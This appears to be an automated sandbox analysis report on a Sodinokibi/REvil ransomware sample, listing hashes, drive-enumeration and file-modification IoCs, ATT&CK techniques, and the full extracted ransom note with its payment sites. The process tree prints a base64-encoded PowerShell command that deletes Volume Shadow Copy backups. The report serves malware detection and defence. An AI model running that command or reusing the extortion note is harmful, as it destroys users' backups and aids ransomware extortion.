sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
1434s
max time network
1504s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
18-04-2024 16:34

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

708ef2feaf6fc35f33486111d9c0f97b
SHA1

9d91bfe8fd44ff1d75551807017e634c2b7580d1
SHA256

23d7cd4b0535b40662dc211b4ae28c4b5383c66b4b686064bd391a259da80d48
SHA512

35db49ab278f1c78d7193e8c75d07fd9d66bab62a7f140b451f03b9fe49138525d92ffe08cd155ae4b6ceec4eca91f2253fba71ddf1af5cb6f701d9b3899d04f
SSDEEP

3072:v0XoUeZ/DVS8L73ea4MoCLfqQvFfsJmjUm:veoUeZR2TRCWQFfsJmj

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\75hi14b-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 75hi14b. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8AB3738543512DC6 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/8AB3738543512DC6 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: +oZZ1HvBauaZEW98K36L/1bV5TBxTUCBLq8FlRU6DR+0AwyhidP5DDaTjMPOTPJj n8ir6QmZJpz0MTO6Q203Cr+hI1n66MdmQOq8IgN85edPEQFIrGoe2B4w/+Iuv7fW nmVdCtDDPd1epaCsXjWodgBo0YEwQV24F/+nIs1KRVrSn/FB8yqOExLlnhhLfCQo pWLnBb/TQjCQ0aR2XVbNNPiVSF0g3LfnZzNCYc0DJjmkwZh/NmVM11PJX8ofWbT/ fa3wY9ciBhle7r7OZofUUa6NQp/zOHprjzQI1teMCOlJqjslb+VcXNHcctmigJNb csYwEtaGp6u1bdNU1BKXpGg99i25RtO4KY7DVteES0Fl6PlS3U0KjNKAvr2Xs8Ht v9k2qRLypY9u5QJWe04kSibSv2cIqHTALX1aelaRoLWWIv37Pix+C7LshuGeWw1E NdVvGlbFdBj+nhxn91K3CjWmuRYXKelC5xFCkYXKRryVH1+lfpmFh/9yXX8NDhMK FAJ1SdGo2xDwezT+nk1Zme7GNV1UV7YyeZ2MtSP1r0c560+YMHO13BcNH8L3DgIR kWrUaGYBnloGiBOVeQoUJBeQj/pTx+mYAx7IdL4uRvpCFgMfnlrV5jNf76q5Q7lz 4X2jJIkn1n44Dj15YAVw0tsw0YNuNp+kAS3huNtx6ZOnWjiMPIAbTP6uzshXewgj p4OQis8WzUVBJA9w/r7Rh7XEbMftgVrrf1L9s3WZpOanMyD7JiOtQBzZ2KGu+2mV s1DxOd6tRzabzk4iIbKFIYYYchxmUSyWgeHjy6qcyftQfkeE/hGOoJFoIaqDJ9Vk t1pQzKl/RK2RP4dSEMSvyG8Bf7uuqW67wgVpCuTo9FQBC9TAW1J4FK4oxAod6kUc cMm/fMh+iYz3dTCjalNsxYXTyIS8IHLODj8zPSsu/bxuhHytfXmGUK9P+8D7ivMN 9kGWEbNjwXvQzUIzeMPcGjUBECJAze9SBHXLy/m4P8nsLV72lNIB5LUdGjZvx7of LMlRDfqKpoNpQJuUImlz2qBuQuRA1Ma6eRZyKjBO22VAyuk5tsSdDBrB1jw95PEg O5nBSAdwSvbgqOsvQbOnVZV6NHS3xAHVjSLPdRC/jHvVSfaio2g7TFf1MS8KjQiL CSM6P60K2OPG/e635AU9YY4xV8cD6MS1G4VPOMglmckEa2f93kvR/acAExaLT6wD i0LEX/OvV11B/og68T6vQIArlwM= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/8AB3738543512DC6

http://decryptor.cc/8AB3738543512DC6

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	Process
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe

Drops file in Program Files directory 27 IoCs

Processes:

rundll32.exe

description	ioc	Process
File opened for modification	\??\c:\program files\DebugSync.scf	rundll32.exe
File opened for modification	\??\c:\program files\ExportNew.cfg	rundll32.exe
File opened for modification	\??\c:\program files\WatchSearch.search-ms	rundll32.exe
File opened for modification	\??\c:\program files\BackupInvoke.DVR	rundll32.exe
File opened for modification	\??\c:\program files\RemoveLimit.mhtml	rundll32.exe
File created	\??\c:\program files (x86)\75hi14b-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ResetUnpublish.mid	rundll32.exe
File opened for modification	\??\c:\program files\UndoWrite.midi	rundll32.exe
File created	\??\c:\program files\75hi14b-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\RequestUnregister.xla	rundll32.exe
File opened for modification	\??\c:\program files\RestartWatch.vsdm	rundll32.exe
File opened for modification	\??\c:\program files\SaveDisconnect.pot	rundll32.exe
File opened for modification	\??\c:\program files\UnblockInitialize.pub	rundll32.exe
File opened for modification	\??\c:\program files\WaitFind.7z	rundll32.exe
File opened for modification	\??\c:\program files\RegisterUse.bmp	rundll32.exe
File opened for modification	\??\c:\program files\ConnectUse.midi	rundll32.exe
File opened for modification	\??\c:\program files\AssertSet.vst	rundll32.exe
File opened for modification	\??\c:\program files\OpenUninstall.AAC	rundll32.exe
File opened for modification	\??\c:\program files\ResizePush.AAC	rundll32.exe
File opened for modification	\??\c:\program files\ExpandMount.jpeg	rundll32.exe
File opened for modification	\??\c:\program files\EnablePublish.png	rundll32.exe
File opened for modification	\??\c:\program files\TestSave.dotm	rundll32.exe
File opened for modification	\??\c:\program files\AssertSuspend.contact	rundll32.exe
File opened for modification	\??\c:\program files\HideComplete.odt	rundll32.exe
File opened for modification	\??\c:\program files\PopEnter.ini	rundll32.exe
File opened for modification	\??\c:\program files\ReceiveOpen.rm	rundll32.exe
File opened for modification	\??\c:\program files\ExportNew.mp2	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exe

pid	Process
2948	rundll32.exe
2948	rundll32.exe
3832	powershell.exe
3832	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	Process
Token: SeDebugPrivilege	2948	rundll32.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeBackupPrivilege	904	vssvc.exe
Token: SeRestorePrivilege	904	vssvc.exe
Token: SeAuditPrivilege	904	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	Process	procid_target
PID 1172 wrote to memory of 2948	1172	rundll32.exe	80
PID 1172 wrote to memory of 2948	1172	rundll32.exe	80
PID 1172 wrote to memory of 2948	1172	rundll32.exe	80
PID 2948 wrote to memory of 3832	2948	rundll32.exe	81
PID 2948 wrote to memory of 3832	2948	rundll32.exe	81

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1172
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3832

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1648

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\75hi14b-readme.txt

Filesize
6KB

MD5
631f884aa4d03cdd430931c198490ea3

SHA1
91a331180b3be8603136b37d0e233292b421bd1e

SHA256
074b23dd5bee082c6defb82fc58f15db9141d8c816b1c91b40d13594a51ac400

SHA512
12e7eb55e53666fa544f96d8eeeed1782837ce58d837e06c87ab1b0dd1224398ed0d2e8f9a85daa506e539243e0df77b946353725de68e5fee7aa8a06efe06c0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tapmvk2g.k1i.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3832-8-0x0000024675B70000-0x0000024675B92000-memory.dmp

Filesize
136KB

Download
memory/3832-9-0x00007FFB07E80000-0x00007FFB08942000-memory.dmp

Filesize
10.8MB

Download
memory/3832-10-0x0000024675BA0000-0x0000024675BB0000-memory.dmp

Filesize
64KB

Download
memory/3832-11-0x0000024675BA0000-0x0000024675BB0000-memory.dmp

Filesize
64KB

Download
memory/3832-14-0x00007FFB07E80000-0x00007FFB08942000-memory.dmp

Filesize
10.8MB

Download